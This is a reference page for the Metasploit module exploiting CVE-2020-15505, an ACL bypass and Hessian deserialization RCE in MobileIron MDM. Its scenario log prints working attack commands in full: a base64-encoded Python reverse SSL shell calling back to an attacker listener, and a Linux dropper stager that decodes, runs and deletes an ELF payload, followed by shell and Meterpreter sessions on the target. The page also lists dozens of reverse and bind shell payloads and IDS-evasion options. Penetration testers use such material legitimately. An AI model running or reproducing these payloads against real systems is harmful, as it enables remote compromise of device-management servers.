MobileIron MDM Hessian-Based Java Deserialization RCE - Metasploit


This page contains detailed information about how to use the exploit/linux/http/mobileiron_mdm_hessian_rce metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: MobileIron MDM Hessian-Based Java Deserialization RCE
Module: exploit/linux/http/mobileiron_mdm_hessian_rce
Source code: modules/exploits/linux/http/mobileiron_mdm_hessian_rce.rb
Disclosure date: 2020-09-12
Last modification time: 2021-01-22 16:15:16 +0000
Supported architecture(s): cmd, x86, x64
Supported platform(s): Linux, Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2020-15505

This module exploits an ACL bypass in MobileIron MDM products to execute a Groovy gadget against a Hessian-based Java deserialization endpoint.

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Reliability:

  • repeatable-session: The module is expected to get a shell every time it runs.

Stability:

  • crash-safe: Module should not crash the service.

Side Effects:

  • ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
  • artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.

Basic Usage


msf > use exploit/linux/http/mobileiron_mdm_hessian_rce
msf exploit(mobileiron_mdm_hessian_rce) > exploit

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base


Vulnerable Application


Description

This module exploits an ACL bypass in MobileIron MDM products to execute a Groovy gadget against a Hessian-based Java deserialization endpoint.

Verification Steps


See Scenarios.

Targets


0

This executes a Unix command.

1

This uses a Linux dropper to execute code.

Scenarios


MobileIron Core 10.6.0.0

msf6 > use exploit/linux/http/mobileiron_mdm_hessian_rce
[*] Using configured payload cmd/unix/reverse_python_ssl
msf6 exploit(linux/http/mobileiron_mdm_hessian_rce) > options

Module options (exploit/linux/http/mobileiron_mdm_hessian_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
   RPORT      443              yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT    8080             yes       The local port to listen on.
   SSL        true             no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       Base path
   URIPATH                     no        The URI to use for this exploit (default is random)
   VHOST                       no        HTTP server virtual host


Payload options (cmd/unix/reverse_python_ssl):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Unix Command


msf6 exploit(linux/http/mobileiron_mdm_hessian_rce) > set rhosts 192.168.123.123
rhosts => 192.168.123.123
msf6 exploit(linux/http/mobileiron_mdm_hessian_rce) > set lhost 192.168.123.1
lhost => 192.168.123.1
msf6 exploit(linux/http/mobileiron_mdm_hessian_rce) > run

[+] python -c "exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zLHNzbApzbz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkKc28uY29ubmVjdCgoJzE5Mi4xNjguMTIzLjEnLDQ0NDQpKQpzPXNzbC53cmFwX3NvY2tldChzbykKc0Y9RmFsc2UKd2hpbGUgbm90IHNGOgoJZGF0YT1zLnJlY3YoMTAyNCkKCWlmIGxlbihkYXRhKT09MDoKCQlzRiA9IFRydWUKCXByb2M9c3VicHJvY2Vzcy5Qb3BlbihkYXRhLHNoZWxsPVRydWUsc3Rkb3V0PXN1YnByb2Nlc3MuUElQRSxzdGRlcnI9c3VicHJvY2Vzcy5QSVBFLHN0ZGluPXN1YnByb2Nlc3MuUElQRSkKCXN0ZG91dF92YWx1ZT1wcm9jLnN0ZG91dC5yZWFkKCkgKyBwcm9jLnN0ZGVyci5yZWFkKCkKCXMuc2VuZChzdGRvdXRfdmFsdWUpCg==')[0]))"
[*] Started reverse SSL handler on 192.168.123.1:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] The target is vulnerable. ACL bypass successful.
[*] Executing Unix Command for cmd/unix/reverse_python_ssl
[*] Executing command: python -c "exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zLHNzbApzbz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkKc28uY29ubmVjdCgoJzE5Mi4xNjguMTIzLjEnLDQ0NDQpKQpzPXNzbC53cmFwX3NvY2tldChzbykKTVU9RmFsc2UKd2hpbGUgbm90IE1VOgoJZGF0YT1zLnJlY3YoMTAyNCkKCWlmIGxlbihkYXRhKT09MDoKCQlNVSA9IFRydWUKCXByb2M9c3VicHJvY2Vzcy5Qb3BlbihkYXRhLHNoZWxsPVRydWUsc3Rkb3V0PXN1YnByb2Nlc3MuUElQRSxzdGRlcnI9c3VicHJvY2Vzcy5QSVBFLHN0ZGluPXN1YnByb2Nlc3MuUElQRSkKCXN0ZG91dF92YWx1ZT1wcm9jLnN0ZG91dC5yZWFkKCkgKyBwcm9jLnN0ZGVyci5yZWFkKCkKCXMuc2VuZChzdGRvdXRfdmFsdWUpCg==')[0]))"
[*] Command shell session 1 opened (192.168.123.1:4444 -> 192.168.123.123:49232) at 2021-01-22 01:04:15 -0600

id
uid=101(tomcat) gid=102(tomcat) groups=102(tomcat)
uname -a
Linux x.x.x 3.10.0-1062.4.1.el7.x86_64 #1 SMP Fri Oct 18 17:15:30 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
^Z
Background session 1? [y/N]  y
msf6 exploit(linux/http/mobileiron_mdm_hessian_rce) > set target 1
target => 1
msf6 exploit(linux/http/mobileiron_mdm_hessian_rce) > run

[*] Started reverse TCP handler on 192.168.123.1:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] The target is vulnerable. ACL bypass successful.
[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp
[*] Generated command stager: ["echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAASDH/aglYmbYQSInWTTHJaiJBWrIHDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgARXMCoewFRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g==>>'/tmp/FYLzZ.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/eHmLx' < '/tmp/FYLzZ.b64' ; chmod +x '/tmp/eHmLx' ; '/tmp/eHmLx' ; rm -f '/tmp/eHmLx' ; rm -f '/tmp/FYLzZ.b64'"]
[*] Executing command: echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAASDH/aglYmbYQSInWTTHJaiJBWrIHDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgARXMCoewFRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g==>>'/tmp/FYLzZ.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/eHmLx' < '/tmp/FYLzZ.b64' ; chmod +x '/tmp/eHmLx' ; '/tmp/eHmLx' ; rm -f '/tmp/eHmLx' ; rm -f '/tmp/FYLzZ.b64'
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3008420 bytes) to 192.168.123.123
[*] Command Stager progress - 100.00% done (823/823 bytes)
[*] Meterpreter session 2 opened (192.168.123.1:4444 -> 192.168.123.123:49240) at 2021-01-22 01:04:23 -0600

meterpreter > getuid
Server username: tomcat @ x.x.x (uid=101, gid=102, euid=101, egid=102)
meterpreter > sysinfo
Computer     : x.x.x
OS           : CentOS 7.6.1810 (Linux 3.10.0-1062.4.1.el7.x86_64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >

Go back to menu.

Msfconsole Usage


Here is how the linux/http/mobileiron_mdm_hessian_rce exploit module looks in the msfconsole:

msf6 > use exploit/linux/http/mobileiron_mdm_hessian_rce

[*] Using configured payload cmd/unix/reverse_python_ssl
msf6 exploit(linux/http/mobileiron_mdm_hessian_rce) > show info

       Name: MobileIron MDM Hessian-Based Java Deserialization RCE
     Module: exploit/linux/http/mobileiron_mdm_hessian_rce
   Platform: Unix, Linux
       Arch: cmd, x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-09-12

Provided by:
  Orange Tsai
  rootxharsh
  iamnoooob
  wvu <[email protected]>

Module side effects:
 ioc-in-logs
 artifacts-on-disk

Module stability:
 crash-safe

Module reliability:
 repeatable-session

Available targets:
  Id  Name
  --  ----
  0   Unix Command
  1   Linux Dropper

Check supported:
  Yes

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT      443              yes       The target port (TCP)
  SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT    8080             yes       The local port to listen on.
  SSL        true             no        Negotiate SSL/TLS for outgoing connections
  SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
  TARGETURI  /                yes       Base path
  URIPATH                     no        The URI to use for this exploit (default is random)
  VHOST                       no        HTTP server virtual host

Payload information:

Description:
  This module exploits an ACL bypass in MobileIron MDM products to 
  execute a Groovy gadget against a Hessian-based Java deserialization 
  endpoint.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2020-15505
  https://www.mobileiron.com/en/blog/mobileiron-security-updates-available
  https://blog.orange.tw/2020/09/how-i-hacked-facebook-again-mobileiron-mdm-rce.html
  https://github.com/httpvoid/CVE-Reverse/tree/master/CVE-2020-15505

Module Options


This is a complete list of options available in the linux/http/mobileiron_mdm_hessian_rce exploit:

msf6 exploit(linux/http/mobileiron_mdm_hessian_rce) > show options

Module options (exploit/linux/http/mobileiron_mdm_hessian_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      443              yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT    8080             yes       The local port to listen on.
   SSL        true             no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       Base path
   URIPATH                     no        The URI to use for this exploit (default is random)
   VHOST                       no        HTTP server virtual host

Payload options (cmd/unix/reverse_python_ssl):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Unix Command

Advanced Options


Here is a complete list of advanced options supported by the linux/http/mobileiron_mdm_hessian_rce exploit:

msf6 exploit(linux/http/mobileiron_mdm_hessian_rce) > show advanced

Module advanced options (exploit/linux/http/mobileiron_mdm_hessian_rce):

   Name                    Current Setting                                     Required  Description
   ----                    ---------------                                     --------  -----------
   AutoCheck               true                                                no        Run check before exploit
   CMDSTAGER::DECODER                                                          no        The decoder stub to use.
   CMDSTAGER::FLAVOR       auto                                                no        The CMD Stager to use. (Accepted: auto, bourne, debug_asm, debug_write, echo, printf, vbs, vbs_adodb, certutil, tftp, wget, curl, fetch, lwprequest, psh_i
                                                                                         nvokewebrequest)
   CMDSTAGER::SSL          false                                               no        Use SSL/TLS for supported stagers
   CMDSTAGER::TEMP                                                             no        Writable directory for staged files
   ContextInformationFile                                                      no        The information file that contains context information
   DOMAIN                  WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS           true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   DisablePayloadHandler   false                                               no        Disable the handler code for the selected payload
   EXE::Custom                                                                 no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR              false                                               no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack           false                                               no        Use the default template in case the specified one is missing
   EXE::Inject             false                                               no        Set to preserve the original EXE function
   EXE::OldMethod          false                                               no        Set to use the substitution EXE generation method.
   EXE::Path                                                                   no        The directory in which to look for the executable template
   EXE::Template                                                               no        The executable template file name.
   EnableContextEncoding   false                                               no        Use transient context when encoding payloads
   FingerprintCheck        true                                                no        Conduct a pre-exploit fingerprint verification
   ForceExploit            false                                               no        Override check result
   HttpClientTimeout                                                           no        HTTP connection and receive timeout
   HttpPassword                                                                no        The HTTP password to specify for authentication
   HttpRawHeaders                                                              no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace               false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors         red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly    false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                                no        The HTTP username to specify for authentication
   ListenerComm                                                                no        The specific communication channel to use for this service
   MSI::Custom                                                                 no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR              false                                               no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                                                   no        The directory in which to look for the msi template
   MSI::Template                                                               no        The msi template file name
   MSI::UAC                false                                               no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   SSLCipher                                                                   no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression          false                                               no        Enable SSL/TLS-level compression
   SSLVersion              Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   SendRobots              false                                               no        Return a robots.txt file if asked for one
   URIHOST                                                                     no        Host to use in URI (useful for tunnels)
   URIPORT                                                                     no        Port to use in URI (useful for tunnels)
   UserAgent               Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE                 false                                               no        Enable detailed status messages
   WORKSPACE                                                                   no        Specify the workspace for this module
   WfsDelay                2                                                   no        Additional delay in seconds to wait for a session

Payload advanced options (cmd/unix/reverse_python_ssl):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   AutoRunScript                                no        A script to run automatically on session creation.
   AutoVerifySession           true             yes       Automatically verify and drop invalid sessions
   CommandShellCleanupCommand                   no        A command to run before the session is closed
   CreateSession               true             no        Create a new session for every successful login
   HandlerSSLCert                               no        Path to a SSL certificate in unified PEM format
   InitialAutoRunScript                         no        An initial script to run on session creation (before AutoRunScript)
   ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                   no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                          no        The specific communication channel to use for this listener
   ReverseListenerThreaded     false            yes       Handle every connection in a new thread (experimental)
   StagerRetryCount            10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait             5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the linux/http/mobileiron_mdm_hessian_rce module can exploit:

msf6 exploit(linux/http/mobileiron_mdm_hessian_rce) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Unix Command
   1   Linux Dropper

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/mobileiron_mdm_hessian_rce exploit:

msf6 exploit(linux/http/mobileiron_mdm_hessian_rce) > show payloads

Compatible Payloads
===================

   #   Name                                        Disclosure Date  Rank    Check  Description
   -   ----                                        ---------------  ----    -----  -----------
   0   payload/cmd/unix/bind_awk                                    normal  No     Unix Command Shell, Bind TCP (via AWK)
   1   payload/cmd/unix/bind_busybox_telnetd                        normal  No     Unix Command Shell, Bind TCP (via BusyBox telnetd)
   2   payload/cmd/unix/bind_jjs                                    normal  No     Unix Command Shell, Bind TCP (via jjs)
   3   payload/cmd/unix/bind_lua                                    normal  No     Unix Command Shell, Bind TCP (via Lua)
   4   payload/cmd/unix/bind_netcat                                 normal  No     Unix Command Shell, Bind TCP (via netcat)
   5   payload/cmd/unix/bind_netcat_gaping                          normal  No     Unix Command Shell, Bind TCP (via netcat -e)
   6   payload/cmd/unix/bind_netcat_gaping_ipv6                     normal  No     Unix Command Shell, Bind TCP (via netcat -e) IPv6
   7   payload/cmd/unix/bind_nodejs                                 normal  No     Unix Command Shell, Bind TCP (via nodejs)
   8   payload/cmd/unix/bind_perl                                   normal  No     Unix Command Shell, Bind TCP (via Perl)
   9   payload/cmd/unix/bind_perl_ipv6                              normal  No     Unix Command Shell, Bind TCP (via perl) IPv6
   10  payload/cmd/unix/bind_r                                      normal  No     Unix Command Shell, Bind TCP (via R)
   11  payload/cmd/unix/bind_ruby                                   normal  No     Unix Command Shell, Bind TCP (via Ruby)
   12  payload/cmd/unix/bind_ruby_ipv6                              normal  No     Unix Command Shell, Bind TCP (via Ruby) IPv6
   13  payload/cmd/unix/bind_socat_udp                              normal  No     Unix Command Shell, Bind UDP (via socat)
   14  payload/cmd/unix/bind_stub                                   normal  No     Unix Command Shell, Bind TCP (stub)
   15  payload/cmd/unix/bind_zsh                                    normal  No     Unix Command Shell, Bind TCP (via Zsh)
   16  payload/cmd/unix/generic                                     normal  No     Unix Command, Generic Command Execution
   17  payload/cmd/unix/pingback_bind                               normal  No     Unix Command Shell, Pingback Bind TCP (via netcat)
   18  payload/cmd/unix/pingback_reverse                            normal  No     Unix Command Shell, Pingback Reverse TCP (via netcat)
   19  payload/cmd/unix/reverse                                     normal  No     Unix Command Shell, Double Reverse TCP (telnet)
   20  payload/cmd/unix/reverse_awk                                 normal  No     Unix Command Shell, Reverse TCP (via AWK)
   21  payload/cmd/unix/reverse_bash                                normal  No     Unix Command Shell, Reverse TCP (/dev/tcp)
   22  payload/cmd/unix/reverse_bash_telnet_ssl                     normal  No     Unix Command Shell, Reverse TCP SSL (telnet)
   23  payload/cmd/unix/reverse_bash_udp                            normal  No     Unix Command Shell, Reverse UDP (/dev/udp)
   24  payload/cmd/unix/reverse_jjs                                 normal  No     Unix Command Shell, Reverse TCP (via jjs)
   25  payload/cmd/unix/reverse_ksh                                 normal  No     Unix Command Shell, Reverse TCP (via Ksh)
   26  payload/cmd/unix/reverse_lua                                 normal  No     Unix Command Shell, Reverse TCP (via Lua)
   27  payload/cmd/unix/reverse_ncat_ssl                            normal  No     Unix Command Shell, Reverse TCP (via ncat)
   28  payload/cmd/unix/reverse_netcat                              normal  No     Unix Command Shell, Reverse TCP (via netcat)
   29  payload/cmd/unix/reverse_netcat_gaping                       normal  No     Unix Command Shell, Reverse TCP (via netcat -e)
   30  payload/cmd/unix/reverse_nodejs                              normal  No     Unix Command Shell, Reverse TCP (via nodejs)
   31  payload/cmd/unix/reverse_openssl                             normal  No     Unix Command Shell, Double Reverse TCP SSL (openssl)
   32  payload/cmd/unix/reverse_perl                                normal  No     Unix Command Shell, Reverse TCP (via Perl)
   33  payload/cmd/unix/reverse_perl_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via perl)
   34  payload/cmd/unix/reverse_php_ssl                             normal  No     Unix Command Shell, Reverse TCP SSL (via php)
   35  payload/cmd/unix/reverse_python                              normal  No     Unix Command Shell, Reverse TCP (via Python)
   36  payload/cmd/unix/reverse_python_ssl                          normal  No     Unix Command Shell, Reverse TCP SSL (via python)
   37  payload/cmd/unix/reverse_r                                   normal  No     Unix Command Shell, Reverse TCP (via R)
   38  payload/cmd/unix/reverse_ruby                                normal  No     Unix Command Shell, Reverse TCP (via Ruby)
   39  payload/cmd/unix/reverse_ruby_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via Ruby)
   40  payload/cmd/unix/reverse_socat_udp                           normal  No     Unix Command Shell, Reverse UDP (via socat)
   41  payload/cmd/unix/reverse_ssh                                 normal  No     Unix Command Shell, Reverse TCP SSH
   42  payload/cmd/unix/reverse_ssl_double_telnet                   normal  No     Unix Command Shell, Double Reverse TCP SSL (telnet)
   43  payload/cmd/unix/reverse_stub                                normal  No     Unix Command Shell, Reverse TCP (stub)
   44  payload/cmd/unix/reverse_tclsh                               normal  No     Unix Command Shell, Reverse TCP (via Tclsh)
   45  payload/cmd/unix/reverse_zsh                                 normal  No     Unix Command Shell, Reverse TCP (via Zsh)
   46  payload/generic/custom                                       normal  No     Custom Payload
   47  payload/generic/shell_bind_tcp                               normal  No     Generic Command Shell, Bind TCP Inline
   48  payload/generic/shell_reverse_tcp                            normal  No     Generic Command Shell, Reverse TCP Inline

Evasion Options


Here is the full list of possible evasion options supported by the linux/http/mobileiron_mdm_hessian_rce exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(linux/http/mobileiron_mdm_hessian_rce) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::chunked                 false            no        Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
   HTTP::compression             none             no        Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::junk_headers            false            no        Enable insertion of random junk HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::no_cache                false            no        Disallow the browser to cache HTTP content
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::server_name             Apache           yes       Configures the Server header of all outgoing replies
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request
   TCP::max_send_size            0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay               0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Target did not respond to check.


Here is a relevant code snippet related to the "Target did not respond to check." error message:

84:	  def check
85:	    # http://hessian.caucho.com/doc/hessian-1.0-spec.xtp#Call
86:	    res = send_request_hessian('c')
87:	
88:	    unless res
89:	      return CheckCode::Unknown('Target did not respond to check.')
90:	    end
91:	
92:	    unless res.code == 200 && res.headers['Content-Type'] == 'application/x-hessian'
93:	      return CheckCode::Safe('ACL bypass failed.')
94:	    end

ACL bypass failed.


Here is a relevant code snippet related to the "ACL bypass failed." error message:

88:	    unless res
89:	      return CheckCode::Unknown('Target did not respond to check.')
90:	    end
91:	
92:	    unless res.code == 200 && res.headers['Content-Type'] == 'application/x-hessian'
93:	      return CheckCode::Safe('ACL bypass failed.')
94:	    end
95:	
96:	    CheckCode::Vulnerable('ACL bypass successful.')
97:	  end
98:	

ACL bypass successful.


Here is a relevant code snippet related to the "ACL bypass successful." error message:

91:	
92:	    unless res.code == 200 && res.headers['Content-Type'] == 'application/x-hessian'
93:	      return CheckCode::Safe('ACL bypass failed.')
94:	    end
95:	
96:	    CheckCode::Vulnerable('ACL bypass successful.')
97:	  end
98:	
99:	  def exploit
100:	    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
101:	

Go back to menu.


References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


  • Orange Tsai
  • rootxharsh
  • iamnoooob
  • wvu

Version


This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.